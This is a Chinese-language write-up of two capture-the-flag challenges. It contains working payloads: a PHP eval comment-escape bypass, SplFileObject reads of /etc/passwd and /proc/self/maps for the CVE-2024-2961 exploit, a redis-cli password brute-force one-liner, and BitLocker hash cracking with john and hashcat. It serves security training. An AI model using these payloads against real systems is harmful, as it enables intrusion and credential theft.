WEB-phpms

  1. 网站git泄露,通过githacker 下载.git目录,执行git log --all ,来查看所有分支上的提交记录,包括stash

2025-06-23T16:10:24.png

可以看到有一暂存的修改,通过git diff或者工具可以看到index.php的代码

2025-06-23T16:10:30.png

<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
    echo ':(';
}else{
    eval("#$shell");
}
?>

这里会将用户传参的shell参数拼接#作为代码执行,但是不允许换行。

  1. 绕过换行和注释符的过滤,执行php代码。

#作为php的单行注释符,在遇到?>会强制结束PHP模式,使得后续代码被当作新代码块执行。所以传参?shell=?><?php echo 11111;即可绕过注释执行代码。

  1. 进一步利用发现,禁用了除index用到的preg_match以外的所有函数(disable_function)。

2025-06-23T16:10:52.png

这里的思路是利用php原生类进行下一步利用。例如:

$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

2025-06-23T16:11:23.png

passwd中可以看到redis,后面是对redis进行利用。但是常见ctf题目中利用SoapClient进行ssrf的操作并不可行,一方面靶机没有安装soap拓展,而且SoapClient会提示只支持http/https协议。

  1. 利用SplFileObject配合CNEXT (CVE-2024-2961)进行命令执行,爆破reids密码。

利用

$context = new SplFileObject('file:///proc/self/maps');
foreach($context as $f){
    echo($f);
}

$context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');
foreach($context as $f){
    echo($f);
}

读取maps和libc,利用https://github.com/kezibei/php-filter-iconv项目进行命令执行,执行无回显,将结果写入/tmp/tmpp.txt暂存。

2025-06-23T16:11:55.png

可以看到redis需要密码认证。

这里构造

echo AUTH password | redis-cli -h 127.0.0.1 -p 6379 --raw | grep -q '^OK$' && echo password >> /tmp/pass.txt

进行爆破,利用密码正确与否的不同回显,将正确密码写入tmp

2025-06-23T16:12:02.png

读取/tmp/pass.txt

2025-06-23T16:12:08.png

  1. 从reids中get flag
echo "auth admin123\nkeys *\nget flag" | redis-cli

2025-06-23T16:12:13.png

MISC-一把嗦

  1. 分析流量包,找到二次注入的流量规律。

请求包:

2025-06-23T16:07:46.png

一次注册,一次登录,一次查看信息。

响应包:

2025-06-23T16:07:55.png

如果响应包存在“您还不是VIP用户啊”说明sql注入后面的判断错误,正确应该是“您是尊贵的VIP用户”,如:

1300    16    200    text/html; charset=UTF-8    3c21444f43545950452068746d6c3e0d0a3c68746d6c3e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d227574662d38223e0d0a202020203c7469746c653ee4ba91e79b98e4b88be8bdbde7ab993c2f7469746c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a202020203c646976207374796c653d22746578742d616c69676e3a72696768743b223e0d0a202020203c666f726d206d6574686f643d22706f737422207374796c653d22646973706c61793a696e6c696e653b223e0d0a20202020202020203c627574746f6e206e616d653d22636865636b5f696e666f223ee68891e79a84e4bfa1e681af3c2f627574746f6e3e0d0a202020203c2f666f726d3e0d0a202020207c203c6120687265663d223f6c6f676f75743d31223ee98080e587ba3c2f613e0d0a3c2f6469763e0d0a3c70207374796c653d27636f6c6f723a677265656e3b273ee682a8e698afe5b08ae8b4b5e79a84564950e794a8e688b73c2f703e3c6120687265663d27696e6465782e706870273ee8bf94e59b9e3c2f613e

所以定位到响应包中存在“您是尊贵的VIP用户”的流量帧号,前面便是正确的sql注入信息。

利用tshark提取流量请求和响应,便于分析

tshark -r 1.pcapng -Y "http.request.method == \"POST\"" -T fields -e frame.number -e frame.time_relative -e http.host -e http.request.uri -e http.file_data > req.txt

tshark -r 1.pcapng -Y "http.response" -T fields -e frame.number -e tcp.stream -e http.response.code -e http.content_type -e http.file_data > res.txt
  1. 编写脚本,统计二次注入信息
import binascii
import urllib.parse
import re

def parse_request_file(filename):
    request_dict = {}
    ordered_requests = []

    with open(filename, 'r', encoding='utf-8') as file:
        for line in file:
            parts = line.strip().split('\t')
            if len(parts) >= 5:
                frame_number = int(parts[0])
                request_dict[frame_number] = {
                    "timestamp": parts[1],
                    "ip": parts[2],
                    "path": parts[3],
                    "hexdata": parts[4]
                }
                ordered_requests.append(frame_number)
    ordered_requests.sort()
    return request_dict, ordered_requests

def find_all_vip_frames(response_filename):
    vip_keyword = "您是尊贵的VIP用户"
    vip_frames = []

    with open(response_filename, 'r', encoding='utf-8') as file:
        for line in file:
            parts = line.strip().split('\t')
            if len(parts) >= 5:
                try:
                    frame_number = int(parts[0])
                    hex_data = parts[4]
                    if "MISSING" in hex_data:
                        continue
                    decoded_data = binascii.unhexlify(hex_data).decode('utf-8', errors='ignore')
                    if vip_keyword in decoded_data:
                        vip_frames.append((frame_number, decoded_data))
                except Exception as e:
                    print(f"解码出错:{e}")
                    continue

    return vip_frames

def find_previous_request_frame(target_frame, request_ordered_list):
    previous_frames = [f for f in request_ordered_list if f < target_frame]
    return previous_frames[-1] if previous_frames else None

def extract_ascii_char(request_content):
    """
    从请求内容中匹配类似
    unicode(substr((SELECT password FROM users WHERE username='admin'),2,1))=97
    的数字,并转成对应ASCII字符。
    """
    pattern = r"unicode\(substr\(.*?,(\d+),1\)\)=([0-9]+)"
    match = re.search(pattern, request_content)
    if match:
        pos = int(match.group(1))
        ascii_code = int(match.group(2))
        return pos, chr(ascii_code)
    else:
        return None, None

# 文件路径
response_file = r"res.txt"
request_file = r"req.txt"

request_dict, request_ordered_list = parse_request_file(request_file)
vip_results = find_all_vip_frames(response_file)

# 用 dict 记录密码每个位置字符,方便排序输出
password_chars = {}

if vip_results:
    print(f"共找到 {len(vip_results)} 个包含“您是尊贵的VIP用户”的响应:\n")
    for vip_frame, _ in vip_results:
        suspected_request_frame = vip_frame - 2
        previous_frame = find_previous_request_frame(suspected_request_frame, request_ordered_list)
        if previous_frame and previous_frame in request_dict:
            req = request_dict[previous_frame]
            try:
                decoded_data = binascii.unhexlify(req['hexdata']).decode('utf-8', errors='ignore')
                url_decoded_data = urllib.parse.unquote(decoded_data)
            except Exception as e:
                url_decoded_data = f"<解码失败: {e}>"

            pos, char = extract_ascii_char(url_decoded_data)
            if pos is not None and char is not None:
                password_chars[pos] = char

            print(f"响应帧号:{vip_frame}")
            print(f"→ 匹配请求帧号:{previous_frame}")
            print(f"请求时间戳:{req['timestamp']}")
            print(f"请求路径:{req['path']}")
            print(f"请求内容(解码+URL解码):{url_decoded_data}")
            if pos is not None and char is not None:
                print(f"提取到密码第 {pos} 位字符:{char}")
            print("=" * 60)
        else:
            print(f"响应帧号 {vip_frame} 无对应请求。")

    # 根据位置排序输出完整密码
    if password_chars:
        password = ''.join(password_chars[i] for i in sorted(password_chars))
        print(f"\n二次注入的flag为:{password}")
else:
    print("没有找到包含“您是尊贵的VIP用户”的响应。")

得到flag:REFTQ1RGezk0OGU0Yzg5LTNlMmQtNDllOS04

base64解码:DASCTF{948e4c89-3e2d-49e9-8

  1. 导出流量中secret.7z文件,爆破vmdk BitLocker密码。

2025-06-23T16:08:27.png

复制后base64解码,解压得到secret.vmdk。R-Studio挂载可以看到BitLocker加密信息

2025-06-23T16:08:49.png

这里用john配合hashcat爆破:

bitlocker2john.exe -i secret.vmdk

hashcat -m 22100 1.txt "rockyou.txt"  --show

john得:

$bitlocker$0$16$e6e8a55def80a26b3ce0d61b9d112f0f$1048576$12$60a60ae688d4db0103000000$60$0dae77d4126cc7ebdd60b1abf8e2608e30e32c8c06ba18d9bbbf2619369059a8c195beede76c174e1403501c41714c00ce51e0540ec48b10b03b51bf

2025-06-23T16:09:03.png

密码:esternocleidomastoideo

挂载后可以看到一个5000+3000.txt

2025-06-23T16:09:10.png

  1. AAencode解码+rot8000

2025-06-23T16:09:16.png

2025-06-23T16:09:21.png

81a-4ba1ae5dde7e}

最后修改:2025 年 06 月 24 日
如果觉得我的文章对你有用,请随意赞赏